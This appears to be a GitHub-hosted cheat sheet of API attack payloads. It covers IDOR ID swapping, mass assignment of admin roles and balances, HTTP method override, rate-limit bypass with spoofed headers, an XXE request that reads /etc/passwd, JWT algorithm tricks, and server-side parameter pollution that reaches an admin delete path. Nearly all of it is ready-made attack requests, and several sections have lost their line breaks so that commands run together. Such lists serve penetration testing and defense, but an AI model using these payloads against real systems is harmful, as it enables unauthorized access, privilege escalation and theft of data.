You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
# Swap IDs in API calls
GET /api/v1/users/1001/orders -> /api/v1/users/1002/orders
# Try different ID formats
/api/users/123
/api/users/00123
/api/users/123.json
/api/users/123%00
# UUID prediction - check if sequential or time-based
# If UUIDv1: extract timestamp and MAC, predict others
# Parameter pollution
GET /api/users/me?user_id=1002
GET /api/users/me?id[]=1001&id[]=1002
# Wrap ID in array
{"user_id": 1002}
{"user_id": [1001, 1002]}
Mass Assignment / Parameter Binding
// Normal requestPOST /api/users/register
{"username": "test", "password": "pass123"}
// Attack: add privileged fields
{"username": "test", "password": "pass123", "role": "admin"}
{"username": "test", "password": "pass123", "isAdmin": true}
{"username": "test", "password": "pass123", "balance": 99999}
{"username": "test", "password": "pass123", "verified": true}
{"username": "test", "password": "pass123", "group_id": 1}
// Find hidden params by checking:// - GET response fields (any field returned might be settable)// - API documentation / swagger// - JavaScript source code// - Error messages that reveal field names
Method Override
# Bypass method restrictionsX-HTTP-Method-Override: PUTX-Method-Override: DELETEX-HTTP-Method: PATCH# Try all methods on every endpointGET /api/users/1 # readPOST /api/users/1 # sometimes acts as updatePUT /api/users/1 # update all fieldsPATCH /api/users/1 # partial updateDELETE /api/users/1 # deleteOPTIONS /api/users/1 # may reveal allowed methods# Override via query parameterPOST /api/users/1?_method=DELETE
Rate Limit Bypass
# Header manipulationX-Forwarded-For: 127.0.0.1X-Originating-IP: 127.0.0.1X-Remote-IP: 127.0.0.1X-Remote-Addr: 127.0.0.1X-Client-IP: 127.0.0.1X-Real-IP: 127.0.0.1X-Forwarded-Host: 127.0.0.1True-Client-IP: 127.0.0.1# Rotate IPs per requestX-Forwarded-For: 1.2.3.ROTATE# Case change / path normalization/api/login vs /API/LOGIN vs /api/Login/api/./login vs /api//login vs /api/login/# Add null bytes / special chars/api/login%00/api/login%20/api/login/.# Different content typesContent-Type: application/jsonContent-Type: application/xmlContent-Type: application/x-www-form-urlencoded# Array of values in single request
{"password": ["pass1", "pass2", "pass3", ... "pass100"]}
Content Type Attacks
# Switch content type to bypass validation# application/json -> application/xml (XXE)POST /api/users HTTP/1.1Content-Type: application/xml<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><name>&xxe;</name></user># JSON to form-urlencodedPOST /api/users HTTP/1.1Content-Type: application/x-www-form-urlencodedusername=admin&password=test# Wildcard content typeContent-Type: */*
JWT API Attacks
# See JWT.md for comprehensive JWT attacks# Check for unsigned tokens accepted# Change alg to none# Swap RS256 to HS256 (use public key as HMAC secret)# Check jku/x5u header injection
Server-Side Parameter Pollution
# If backend builds internal API calls from user input
# Path injection
GET /api/users?name=test%23foo%26admin=true
# Backend builds: GET /internal/users?name=test#foo&admin=true
# Truncation
GET /api/users?name=test%26role%3Dadmin
# Backend builds: GET /internal/users?name=test&role=admin
# Override path
GET /api/users?name=test/../../admin/delete